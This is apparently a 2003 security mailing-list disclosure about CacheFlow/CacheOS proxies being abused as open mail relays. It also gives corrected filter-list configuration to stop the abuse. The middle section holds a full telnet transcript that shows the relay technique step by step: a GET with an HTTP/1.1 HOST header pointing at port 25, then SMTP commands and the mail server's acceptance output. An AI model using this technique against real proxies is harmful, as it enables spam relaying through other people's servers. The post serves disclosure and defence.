CacheFlow Proxy Abuse (revisited)
Actually, this seems like it may be related to a known issue.
Or at least related to known issues. See [incidents] message at:
http://www.securityfocus.com/archive/75/295545/2003-09-07/2003-09-13/2
Cacheflow published information relating to a vulnerability in the
CONNECT method of the CacheOS. Here's their document(as html):
http://216.239.39.104/search?q=cache:KTdTB76TgN4J:www.cacheflow.com/files/solutions/solution_http_connect.pdf+&hl=en&ie=UTF-8
The document says that CacheFlow offers two solutions for the problem:
CacheOS 4.0.x and above:
cacheflow#conf t
cacheflow#(config)services
cacheflow#(config services)http
cacheflow#(config services http)attribute connect ?
enable Do NOT block CONNECT requests
disable Do block CONNECT requests
**This is the method I used to disable connect methods.
For CacheOS 3.1.x and above, the recommend an inline-filter-list entry:
cacheflow#conf t
cacheflow#(config)inline filter-list local ccc
https://.*:(443|80) service=yes
https://.*:[0-9]+/ service=no
ccc
CacheFlow specifically says, in their PDF, that the first filter regex
will explicitly allo HTTP and HTTPS traffic, and that the second line
will ***BLOCK TRAFFIC TO ALL OTHER PORTS***
This is functionaly incorrect.
I'm running CacheOS Version: SA 4.1.10016.
On a CacheFlow 7XX series server.
This method, as described in the PDF, did in fact block the CONNECT requests
from being processed, and returned a bad method error.
Disabling the connect method didn't fix the problem we had with spammers
relaying through our cacheflow. It turns out that unlike SQUID, which is
set by default to ignore HTTP/1.1 HOST headers, the CacheFlow doesn't.
-----------------------------------------------------------------------------
telnet ip.or.hostname.of.cacehflow 80
GET / HTTP/1.1
HOST: mailserver.victim.com:25
HELO .
mail from: spammer@xxxxxxxxxx
rcpt to: target@xxxxxxxxxx
DATA
Subject: Look Ma! I'm an open relay
HI, you've been spammed through an open proxy, because of a bug in the
OS code. Have a Great Day!
-Spammer
.
220 mailserver.victim.com ESMTP Sendmail 8.12.9/8.12.9; Wed, 10 Sep 2003
11:15:31 -0400
500 5.5.1 Command unrecognized: "GET / HTTP/1.0"
500 5.5.1 Command unrecognized: "HOST: mailserver.victim.com:25"
250 mailserver.victim.com Hello CacheFlowServer@[xx.x.x.xxx], pleased to
meet you
250 2.1.0 spammer@xxxxxxxxxxxxx Sender ok
250 2.1.5 target@xxxxxxxxxxxxx Recipient ok
354 Enter mail, end with "." on a line by itself
250 2.0.0 h8AFFVfo011729 Message accepted for delivery
500 5.5.1 Command unrecognized: "Cache-Control: max-stale=0"
500 5.5.1 Command unrecognized: "Connection: Keep-Alive"
500 5.5.1 Command unrecognized: "Client-ip: xx.xx.xx.xx"
500 5.5.1 Command unrecognized: ""
-----------------------------------------------------------------------------
Once you do this, you'll see the entire smtp session sent as a GET to the
mail server, complete with carriage returns, which the mail server will
receive in the appropriate order, and the mail will be sent.
On CacheOS 4, the only way to get around this is to use the CacheOS 3
inline filter solution to the CONNECT bug.
But you need to expand it a bit:
https://.*:(443|80) service=yes
https://.*:[0-9]+/ service=no
DOES NOT limit ports, when the service is HTTP, as the document says.
TO Actually limit connections to services though HTTP, you need to
add the entries prefixed by 'http', as well as 'https'. That, based
on the recommendation from CacheFlow (Blue Coat) support.
https://.*:(443|80) service=yes
https://.*:[0-9]+/ service=no
http://.*:(443|80) service=yes
http://.*:[0-9]+/ service=no
-----------------------------------------------------------------------------
cacheflow#conf t
cacheflow#(config)inline filter-list local ccc
https://.*:(443|80) service=yes
https://.*:[0-9]+/ service=no
http://.*:(443|80) service=yes
http://.*:[0-9]+/ service=no
ccc
-----------------------------------------------------------------------------
That will now give a BAD METHOD return on GET's with an HTTP/1.1 HOST header.
This may already be well known, but I'm not really a cacheflow guy, and I
couldn't find ANYTHING about it on google, altavista, or any of the security
sites (security focus, bugtraq, security tracker, etc.)
-Tim Kennedy & Charlie Benatti
--
Timothy Kennedy
tim@xxxxxxxxxxxxxx